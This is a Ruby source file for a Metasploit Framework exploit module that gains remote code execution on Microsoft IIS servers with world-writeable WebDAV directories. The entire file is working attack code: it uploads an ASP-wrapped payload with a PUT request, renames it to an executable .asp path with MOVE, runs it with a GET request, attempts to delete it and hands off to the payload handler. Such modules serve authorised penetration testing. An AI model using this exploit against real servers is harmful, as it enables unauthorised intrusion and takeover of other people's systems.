154 lines
3.5 KiB
Ruby
154 lines
3.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize
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super(
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'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',
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'Description' => %q{
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This module can be used to execute a payload on IIS servers that
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have world-writeable directories. The payload is uploaded as an ASP
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script using a WebDAV PUT request.
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},
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'Author' => 'hdm',
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'Version' => '$Revision$',
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'Platform' => 'win',
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'References' =>
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[
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['OSVDB', '397'],
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['BID', '12141']
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],
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0
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)
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register_options(
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[
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OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp'])
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], self.class)
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end
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def exploit
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# Generate the ASP containing the EXE containing the payload
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asp = Msf::Util::EXE.to_win32pe_asp(framework,payload.encoded)
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path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
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path_tmp = path.gsub(/\....$/, ".txt")
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#
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# UPLOAD
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#
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print_status("Uploading #{asp.length} bytes to #{path_tmp}...")
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res = send_request_cgi({
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'uri' => path_tmp,
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'method' => 'PUT',
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'ctype' => 'application/octet-stream',
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'data' => asp,
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}, 20)
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if (! res)
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print_status("Upload failed on #{path_tmp} [No Response]")
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return
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end
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if (res.code < 200 or res.code >= 300)
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print_status("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
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case res.code
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when 401
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print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
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end
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return
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end
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#
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# MOVE
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#
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print_status("Moving #{path_tmp} to #{path}...")
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res = send_request_cgi({
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'uri' => path_tmp,
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'method' => 'MOVE',
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'headers' => {'Destination' => path}
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}, 20)
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if (! res)
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print_status("Move failed on #{path_tmp} [No Response]")
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return
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end
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if (res.code < 200 or res.code >= 300)
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print_status("Move failed on #{path_tmp} [#{res.code} #{res.message}]")
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case res.code
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when 401
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print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
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when 403
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print_status("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.")
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end
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return
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end
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#
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# EXECUTE
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#
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print_status("Executing #{path}...")
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res = send_request_cgi({
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'uri' => path,
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'method' => 'GET'
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}, 20)
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if (! res)
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print_status("Execution failed on #{path} [No Response]")
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return
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end
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if (res.code < 200 or res.code >= 300)
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print_status("Execution failed on #{path} [#{res.code} #{res.message}]")
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return
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end
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#
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# DELETE
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#
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print_status("Deleting #{path}, this doesn't always work...")
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res = send_request_cgi({
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'uri' => path,
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'method' => 'DELETE'
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}, 20)
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if (! res)
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print_status("Deletion failed on #{path} [No Response]")
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return
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end
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if (res.code < 200 or res.code >= 300)
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print_status("Deletion failed on #{path} [#{res.code} #{res.message}]")
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return
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end
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handler
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end
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end
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